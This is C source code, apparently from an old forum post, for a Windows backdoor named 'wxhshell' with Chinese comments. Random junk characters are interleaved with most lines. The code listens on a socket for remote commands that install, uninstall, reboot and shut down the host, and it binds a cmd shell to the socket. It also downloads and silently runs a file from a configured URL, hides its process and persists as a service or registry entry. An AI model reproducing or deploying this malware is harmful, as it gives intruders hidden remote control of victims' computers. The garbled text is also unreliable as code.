  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i9$ Av  
  } 'PHl$f*k  
  else { '<M{)?  
uq{ beC  
    switch(cmd[0]) {  3CJwj  
  cNH7C"@GVu  
  // 帮助 _G0 x3  
  case '?': { ;Qq\DFe.w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~5g~;f[4  
    break; `{Ul!  
  } [ 3HfQ  
  // 安装 o(HbGHIP  
  case 'i': { <QvOs@i*  
    if(Install())  @8 6f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A=4OWV?  
    else / j^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0`hdMLONR  
    break; 9VT;ep  
    } xkn;,`t^lJ  
  // 卸载 v2?ZQeHr_(  
  case 'r': { h$*!8=M  
    if(Uninstall()) Ls%MGs9PI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w(rE`IgW  
    else _Y!IEAU/#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8- i#8'/x  
    break; n|;Im&,  
    } 6wxs1G  
  // 显示 wxhshell 所在路径 $u.z*b_yy  
  case 'p': { D]}G.v1  
    char svExeFile[MAX_PATH]; Yz bXuJ4  
    strcpy(svExeFile,"\n\r"); "]dI1 g_  
      strcat(svExeFile,ExeFile); AR=]=8  
        send(wsh,svExeFile,strlen(svExeFile),0); kP"9&R`E  
    break; HP =+<]?{G  
    } 5m*,8]!-  
  // 重启 c|%6e(g"L  
  case 'b': { ^s=8!=A(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C]#,+q*  
    if(Boot(REBOOT)) PM+[,H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B3BN`mdn>  
    else { G2Zer=rC  
    closesocket(wsh); Dj+f]~  
    ExitThread(0); 3Y &d=  
    } 1qch]1 ^G  
    break; 0mnw{fE8_  
    } ]! dTG  
  // 关机 w@b)g  
  case 'd': { (?c-iKGc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OH88n69  
    if(Boot(SHUTDOWN)) Z7#+pPt!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7"mc+QOp  
    else { Zh,71Umz  
    closesocket(wsh); g ?k=^C  
    ExitThread(0); . ^u,.  
    } #jk_5W  
    break; TO_e^A#  
    } `g,..Ns-r  
  // 获取shell Ngwb Q7)  
  case 's': { WM{=CD  
    CmdShell(wsh); p[-O( 3Y  
    closesocket(wsh); G"6 !{4g  
    ExitThread(0); O}P`P'Y|'  
    break; *fdTpXa  
  } ~BF&rx5Q  
  // 退出 +%&yJ4-  
  case 'x': { G3 m Z($y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P3%5?.S  
    CloseIt(wsh); Kgv T"s.  
    break; %;/P&d/  
    } ?(PKeq6  
  // 离开 g\U-VZ6;p  
  case 'q': { -12U4h<e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a}d@ T  
    closesocket(wsh); d1*<Ll9K  
    WSACleanup(); ebq4g387X  
    exit(1); ;*N5Y}?j'  
    break; ),)lzN%!  
        } <GJbmRc|  
  } 7 &\yj9  
  } cR{#V1Z  
~?dI*BZ)]  
  // 提示信息 v^iAD2X/F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : +u]S2u{  
} &L:!VL{I  
  } @co S+t  
G)YcJv7  
  return; *_e3 @g  
} N;R^h? '  
q| 7(  
// shell模块句柄 ==B6qX8T  
int CmdShell(SOCKET sock) ,_P-$lB  
{ b' y%n   
STARTUPINFO si; W/ \g~=vo  
ZeroMemory(&si,sizeof(si)); No$3"4wk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  bLL2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \^LFkp  
PROCESS_INFORMATION ProcessInfo; <$YlH@;)`a  
char cmdline[]="cmd"; Lr+$_ t}r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u ?"Vm  
  return 0; >ef6{URy<  
} 6LZCgdS{  
H+#FSdy#  
// 自身启动模式 t7pFW^&  
int StartFromService(void) C^){.UGmJ  
{ /}$+uBgJm  
typedef struct hb-%_c"kq  
{ =AT."$r>  
  DWORD ExitStatus; So6x"1B  
  DWORD PebBaseAddress; IgzQr >  
  DWORD AffinityMask; 3R/bz0 V>  
  DWORD BasePriority; Zfw,7am/  
  ULONG UniqueProcessId; *Ly6`HZ9  
  ULONG InheritedFromUniqueProcessId; 5(2;|I,T  
}   PROCESS_BASIC_INFORMATION; F{wzB  
y} '@R$  
PROCNTQSIP NtQueryInformationProcess; l}h!B_P'  
N mG#   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QP x^_jA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t-AmX) $  
rOYx b }1  
  HANDLE             hProcess; MA\V[32H  
  PROCESS_BASIC_INFORMATION pbi; "MsIjSu  
l]vm=7:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _aphkeqd  
  if(NULL == hInst ) return 0; XZf$K_F&M  
jdN` mosJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YUb_y^B^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RCrCs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;a/E42eN;  
:0/ 7,i  
  if (!NtQueryInformationProcess) return 0; #4:?gfIj  
o-\[,}T)M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `^vE9nW 7  
  if(!hProcess) return 0; l{9Y  
Wqnc{oq |$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x;S @bY  
S/ *E,))m  
  CloseHandle(hProcess); gUlo]!$  
+|v90ed  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~o(   
if(hProcess==NULL) return 0; t1".0  
baasGa3}s  
HMODULE hMod; kstIgcI  
char procName[255]; b>|6t~}M  
unsigned long cbNeeded; W^Yxny  
D9df=lv mD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K9[UB  
Z;i:](  
  CloseHandle(hProcess); ]]mJ']l  
qM`}{ /i  
if(strstr(procName,"services")) return 1; // 以服务启动 x:;kSh  
Q8NX)R  
  return 0; // 注册表启动 e(sk[guvX  
} bOB \--:]  
}EPY^VIw  
// 主模块 [GR; ?R5  
int StartWxhshell(LPSTR lpCmdLine) a[C@  
{ KXy6Eno  
  SOCKET wsl; $ `c:&  
BOOL val=TRUE; j.Hf/vi`z  
  int port=0; +0&/g&a\R  
  struct sockaddr_in door; osRy e3  
2T35{Q!=F  
  if(wscfg.ws_autoins) Install(); eavV?\uV%  
. vV|hSc  
port=atoi(lpCmdLine); |=w@H]r  
f 2.HF@  
if(port<=0) port=wscfg.ws_port; q'DW~!>qX  
Wri<h:1  
  WSADATA data; 8Wx=p#_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %;_MGae  
UpG~[u)%@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :]KAkhFkbb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L#J1b!D&<6  
  door.sin_family = AF_INET; fl(wV.Je|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \Z/@C lCm  
  door.sin_port = htons(port); s#11FfF`  
o4X{L`m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wc#24:OKe3  
closesocket(wsl); +2{Lh7Ks  
return 1; 6t$8M[0-U  
} khe}*y  
u[YGm:}  
  if(listen(wsl,2) == INVALID_SOCKET) { L_T5nD^D  
closesocket(wsl);  )2.Si#  
return 1; V&5wRz+`W  
} yAt ^;  
  Wxhshell(wsl); WJ#[LF!e  
  WSACleanup(); \e;iT\=.(  
 @5FQX  
return 0; A&VG~r$  
KPF1cJ2N  
} w>gYx(8b  
\dVOwr  
// 以NT服务方式启动 v+XJ*N[W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (HVGlw'`  
{ vzM ^$V  
DWORD   status = 0; .]^?<bG  
  DWORD   specificError = 0xfffffff; ueudRb  
G[=c Ss,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $i&zex{\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O-^Ma- }  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /x hKd]Q  
  serviceStatus.dwWin32ExitCode     = 0; +%'(!A?*`  
  serviceStatus.dwServiceSpecificExitCode = 0; D~m*!w*  
  serviceStatus.dwCheckPoint       = 0; q m}@!z^  
  serviceStatus.dwWaitHint       = 0; d0D] Q  
p{_ " bB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >6T8^Nt  
  if (hServiceStatusHandle==0) return; )GpK@R]{  
-f .,tM=  
status = GetLastError(); occ7zcA  
  if (status!=NO_ERROR) 7! Nsm  
{  R&&4y 7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TH;hO).u  
    serviceStatus.dwCheckPoint       = 0; h{Y",7] !  
    serviceStatus.dwWaitHint       = 0; # d  
    serviceStatus.dwWin32ExitCode     = status; 2G7Wi!J  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1Mzmg[L8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [JiH\+XLPs  
    return; f|5co>Hk  
  } 7.Op<  
fC`&g~yK'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c{|p.hd  
  serviceStatus.dwCheckPoint       = 0; $FVNCFN%  
  serviceStatus.dwWaitHint       = 0; ]^E?;1$f?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); la!~\wpa  
} dPlV>IM$z  
T)/eeZ$  
// 处理NT服务事件,比如:启动、停止 FPz9N@M%Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o/E >f_k[  
{ jcOcWB|  
switch(fdwControl) 1}x%%RD_  
{ HJ"GnZp<  
case SERVICE_CONTROL_STOP: uRvP hkqm  
  serviceStatus.dwWin32ExitCode = 0; ';CNGv -  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0mE 0 j  
  serviceStatus.dwCheckPoint   = 0; Ud?Q%) X  
  serviceStatus.dwWaitHint     = 0; ^qs $v06  
  { tQ)qCk07  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _6Sp QW  
  } B\~}3!j  
  return; oJ^P(]dw  
case SERVICE_CONTROL_PAUSE: X ?O[r3<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K;?+8(H  
  break; V[LglPt  
case SERVICE_CONTROL_CONTINUE: zhQJy?>'m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7!1S)dup  
  break; 3] Ct6  
case SERVICE_CONTROL_INTERROGATE: (PL UFT  
  break; ?<!|  
}; oH@78D0A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |yCMt:Hk  
} 6k%f  
e~OpofJNb  
// 标准应用程序主函数 2y4bwi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *dQSw)R  
{ 5pX6t  
6nn *]|7  
// 获取操作系统版本 /~1+i'7V.,  
OsIsNt=GetOsVer(); llq<egZpm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dysS9a,  
%9"H  
  // 从命令行安装 [Xkx_B  
  if(strpbrk(lpCmdLine,"iI")) Install(); _a, s )  
\bXa&Lq  
  // 下载执行文件 =;L|gtH"  
if(wscfg.ws_downexe) { UQsN'r\tS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \z$= K  
  WinExec(wscfg.ws_filenam,SW_HIDE); 97Vtn4N3  
} /vt3>d%B;  
:gv"M8AP  
if(!OsIsNt) { F59 TZI  
// 如果时win9x,隐藏进程并且设置为注册表启动 $4\j]RE!  
HideProc(); *. t^MP  
StartWxhshell(lpCmdLine); NEs:},)o  
} xT8?&Bx  
else iZmcI;?u  
  if(StartFromService()) =pNY eR_[  
  // 以服务方式启动 UKGPtKE<  
  StartServiceCtrlDispatcher(DispatchTable); *~`(RV  
else h[ ZN+M  
  // 普通方式启动 i8p6Xht  
  StartWxhshell(lpCmdLine); jXJyc'm7  
6BlXLQ,8q  
return 0; JF]JOI6.e  
}
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只看该作者 1 发表于: 2006-10-10
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